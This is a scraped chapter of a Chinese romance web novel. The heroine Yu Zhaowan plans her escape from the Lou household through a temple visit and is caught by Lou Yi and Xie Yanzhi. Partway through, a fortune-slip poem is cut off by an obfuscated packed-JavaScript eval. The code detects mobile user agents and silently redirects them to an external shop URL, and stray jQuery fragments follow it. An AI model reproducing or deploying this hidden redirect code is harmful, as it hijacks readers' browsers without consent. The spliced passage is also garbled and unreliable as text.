文趣网 > 其他小说 > 晚臣(强取豪夺) > 24. 白月光(4)
    余朝晚只觉晴天霹雳。

    楼丹英没有察觉出她的反常,自顾自往下说,“三哥厉害极了,他带了一支骑兵,绕到敌军后方,一把火将敌军粮草烧了个干净,还生擒了敌方一名大将。大哥趁着敌军慌乱,率军杀出,大败敌军。”

    她看向余朝晚:“三嫂嫂,这次三哥立了大功,回来说不定能封个将军。你开不开心?”

    余朝晚勉强扯出个笑脸,“开心。”个鬼。一两个月,楼翊就要回来了,不仅他要回来,楼家老爷子和他两个哥哥都要回来。她必须在他们回来之前跑,可路引和户籍还没着落,难道她真的要冒险混出城去?

    回到屋里,余朝晚推开窗户,趴在窗沿边,看着窗外抽出新芽的梅花树。

    流烟不能再信,又没别的法子能弄到路引,城门不能硬闯,看来只能想法子光明正大地出城。

    她从软榻的枕头下抽出一叠纸来,上面是她这些日子勘察京城周边情况的记录。她的目光落在“莲台寺”三个字上。莲台寺在京郊北面的山上,香火很旺,京里不少夫人太太定期都会去那里祈福。或许她可以借着为楼翊祈福的名义出城,府里应该不会阻拦。

    到了寺里,她再找个机会脱身,到时候不走水路,带着天冬往西边的山里走,那里层峦叠翠,只要她们进了山,就没人能轻易找到她们。

    打定主意,余朝晚立刻行动起来,首先要做的就是要好好研究西面那片群山。当初她从周掌柜那借了个小望远镜看过那片山,隔得远,只能看个大概。如今真的要往里面钻,得把路摸清楚才行,她可不想死山里。

    打那以后每隔两日她就出一趟门,哪也不去,直奔城西,在城门口的茶棚里,一坐就是大半日。不干别的,就让天冬向那些来往进山的人打听山路,她一边听一边画。她有画画的底子,基本能将那些人的描述画得大差不差。花了十六七日的时间,她终于做好了一副自制的线路图,山里有哪些岔路,每条岔路通往哪,哪些地方有沟壑,她都摸得清楚。

    莲台寺所在的北山,与西山隔着一条狭长的山谷,山谷里有条能容纳一辆马车通过的路。从莲台寺脱身后,就可以通过这条路直奔西山。

    路摸清,流烟那边来说路引和户籍差不多快办妥了,让天冬回去告诉她的亲戚可以准备尾款来拿东西。余朝晚让天冬再拖几日,就说亲戚正在筹钱,流烟那边竟然爽快地答应了,余朝晚越发肯定她有问题。

    这日余朝晚又吩咐天冬去买了两身灰青色的粗布衣服,另外再备了不少能放得住的干粮和肉干。

    四月十六,一切准备妥当,余朝晚去了趟柴氏院子里。她今日打扮得格外素净,眼下有一片浅浅的乌青,看上去比往日憔悴几分。

    柴氏见她这副样子,关切地问她:“三弟妹,你这是怎么了?脸色怎的这般差?”

    余朝晚垂眸,声音低低地,“大嫂,这几日我总是睡不好,心里发慌。按说西北打了胜仗,我应该高兴才对。可昨日夜里,我梦见三爷他……他满身是血……”说着她用帕子拭了下眼角。

    柴氏心疼地拉住她的手,“哎哟,梦都是反的,你别担心,有公公和两个哥哥在,三弟定然会平平安安的。”

    “大嫂。”余朝晚抬眸看向她,满脸恳切,“我想去莲台寺上柱香,为三爷求个平安符。听说那的菩萨最是灵验,定能保佑他平平安安的回来。”

    柴氏笑着拍拍她的手:“你有这份心,我这个做嫂嫂的还能拦你不成?”

    “那嫂嫂帮我安排?”余朝晚面露喜色。

    柴氏点头,“莲台寺不远,一天就能来回。我让福伯给你备车,再安排两个婆子与你一道,备些香烛供果。你打算什么时候去?”

    “后日,可好?”

    柴氏点头,“成。那我明日派人去寺里知会一声,让他们提前备间厢房,你若乏了也有个歇息的地儿。”

    “谢谢嫂嫂。”

    柴氏笑着摆手:“咱们妯娌之间还客气什么。你好好去求个平安符,等三弟回来,亲自给他戴上,保准他开心。”

    余朝晚笑着应下。

    四月十七一整天,余朝晚都有些坐立不安,她从谢砚知给的添妆里挑了几件小巧容易携带的首饰用布包好,贴身放着,又将银票和碎银子收好。还有那些她画的西山的草图,被她叠好收起来。

    天冬准备的衣裳和干粮装在一个粗布包袱里,明日由天冬提着,就说是她们准备的贡品。

    到了晚上,她却怎么也睡不着。她将明日要怎么支开婆子,怎么离开莲台寺,怎么去西山,进了山以后该怎么走,想了一遍又一遍。

    想到过了明日,她就能过自己想过的日子,心里忍不住开心,更睡不着了。

    也不知道泠鸢怎么样了,谢砚知走后,她曾经悄悄去过泠鸢之前住的那处别院,那却只剩了个看门的婆子。她这一走,往后或许就再也见不到泠鸢了。如今她也是自身难保,只能默默祈祷,希望泠鸢一切都好。

    天快亮了,余朝晚才勉强睡了会儿。卯时不到,她就从榻上爬起来,天冬替她梳头打扮。今日要去上香,穿得比平时讲究些,一件杏花粉的褙子配了条若芽色百褶裙,头上梳了个简单的发髻,簪了两支珠钗。

    收拾妥当,天冬将备好的东西背上,两人一块儿往府门口走去。

    马车已经候在门口了,赶车的是府里的老人,沉默寡言,姓陈。两个婆子候在车旁,一个姓吴,一个姓杨。

    余朝晚朝几人点点头,上了马车,天冬跟在她后面坐上去。

    两个婆子坐在车外的车沿上。老陈甩了鞭子,马车开始辘辘往前走。

    余朝晚掀开车窗的帘子往回看,楼府的大门逐渐消失。她在楼家住了半年,两个嫂嫂,一个小姑子还有赵姨娘待她都极好。她在心里默默说了句“再见”,放下帘子,不再回头。

    没多久,一只灰褐色的鸟从楼府旁的巷子里飞出,很快便消失在天际。

    马车走了两个时辰,终于在莲台寺的山门前停下。

    “三奶奶,到了。”吴婆子摆好脚蹬,掀开车帷,将余朝晚扶下马车。

    余朝晚抬头望去,莲台寺建在半山腰上,山门前种着两棵蓊蓊郁郁的古柏,门上挂着块匾额,“莲台寺”三个字写得遒劲有力。

    山门前早有小沙弥候着,见了她们,双手合十一礼:“可是楼家施主,方丈已经吩咐过,请随小僧来。”

    众人跟在小沙弥身后,拾级而上,穿过山门,经过一道石桥,来到大雄宝殿前。午时的阳光暖融融的,大殿内香烟袅袅,佛像庄严肃穆。

    “施主,方丈说,您可以先在此处上香,再前往厢房歇息。”小沙弥说完便退到一旁。

    余朝晚谢过他,走进殿内,从杨婆子手中接过燃好的香,跪在蒲团上。她看向庄严宝相,然后垂头,闭上眼睛,将香高举过头顶。

    该求什么?

    求佛祖保佑爷爷奶奶在那个世界平安健康。末了,又加了句,希望今日一切顺利。

    她将香插入香炉,规规矩矩磕了三个头,杨婆子将她扶起来。刚要出大殿,一个小沙弥叫住她:“施主,可要求一支签?”

    余朝晚看向签筒,犹豫片刻还是走上前去,她拿起签筒摇了摇,一支竹签掉在地上。她弯腰捡起,只见上面写着:“来时无迹去无踪,去与来时事一同。何须更问前途事,只是轮回路不通①

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576645|204030||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    路不通……她的指尖微微发抖。

    “施主,可需解签?”小沙弥问她。

    她摇头,一把将竹签塞回签筒中,转身踏出大殿。

    厢房在寺庙的东边,甚是幽静,院子里种着几株桃树,花已经谢了,树叶翠郁。

    “施主可在此处暂时歇息,斋饭随后送到。”小沙弥站在院门口对余朝晚道。

    “有劳小师父。”余朝晚带着天冬转身进了厢房。

    吴婆子和杨婆子站在门外没有要进来的意思,“三奶奶,奴婢二人就在院子里,有什么需要您随时吩咐。”

    余朝晚点头,她眼角的余光扫过屋里的窗户,“我有些乏了,想小憩一会儿。”说着就吩咐天冬将门合上。

    在屋里坐了会儿,就听到屋外传来二人压低了的说笑声。余朝晚让天冬将包袱里的衣裳拿出来换上,将换下来的衣裳又塞回包袱里。二人轻手轻脚地将窗户支起来,外面是一片竹林。

    余朝晚指了指窗外,率先先翻了出去,然后接过天冬手里的包袱,天冬也跟着翻了出来。

    两人猫着腰,穿过竹林,钻进后山的灌木丛。

    山路比她预想的难走多了,没有路,她只能带着天冬朝着西山的方向走,两人一前一后,深一脚浅一脚地往前。

    约摸过了半个时辰,灌木开始变得稀疏,又走了一截,眼前出现一条较为开阔的山道。她掏出草图,比对了下,大致确认方向,前面不远处应该有一处关隘,过了关隘再往西就是西山了。

    “这边。”她对天冬道,声音里染上一丝喜色。

    “姑娘,还有多远?”天冬问。

    “快了。”她将草图塞回怀里,“过了前面的关隘,就是西山。”

    天冬脸上也露出喜色。

    继续往前,转过一道弯,隘口就在前面。右侧的山壁突然变得陡峭,中间的山道变窄,只能容下一辆马车,左侧峭壁旁长着稀疏的柏树。

    两人正要往前,忽然听到前方传来一阵马蹄声。

    余朝晚下意识拉着天冬闪身躲进一旁的柏树后。

    马蹄声越来越近,听声音还不止一匹。

    余朝晚侧身从粗壮的树干后往前看,一队人马从山道拐过来。最前面是一匹高大的黑色骏马,马上的人一身玄色的铠甲,面容清俊,眉宇间带着疲惫和沉郁,手臂上缠着白布条。

    余朝晚的心瞬间跌倒了谷底,那人不是楼翊又是谁。

    楼翊身后跟着一辆平板车,车上放着一方黑色的棺椁,棺前竖着灵幡,上面写着“楼氏长子楼堃之灵”,风吹过,灵幡拂动,发出沙沙的声响。

    马车旁跟着一匹枣红色的马,马上坐着一人,穿着一身深蓝色短褐,头发高高束起,一副小厮打扮。可那人皮肤白皙,眉眼清秀,一眼便能认出是个姑娘。

    一行人离她们二人越来越近,二人屏住呼吸一动不敢动,就在她们以为自己不会被发现时,楼翊突然朝她们的方向看过来,眼神中迸发出杀意:“谁?出来!”

    余朝晚暗道糟糕,就在她还没想好怎么应对时,身后的山道上隐隐传来急促的马蹄声。

    她猛地回头,一匹白色骏马从她们来的方向疾驰而来,马背上的人一身月白色锦袍,银灰色的披风被风扬起,衣袍下摆上沾了些泥点,靴子上也全是灰,像是赶了很远的路,可即便如此,也难掩那张脸的清隽。

    谢砚知勒住马,居高临下地看向松树林的方向。他的目光穿过松枝的缝隙,准确无误地落在余朝晚身上,嘴角微微勾起一个弧度。

    “四妹妹,”他的声音不高,在山间回荡,带着几分漫不经心的笑意,“此处风景可好?”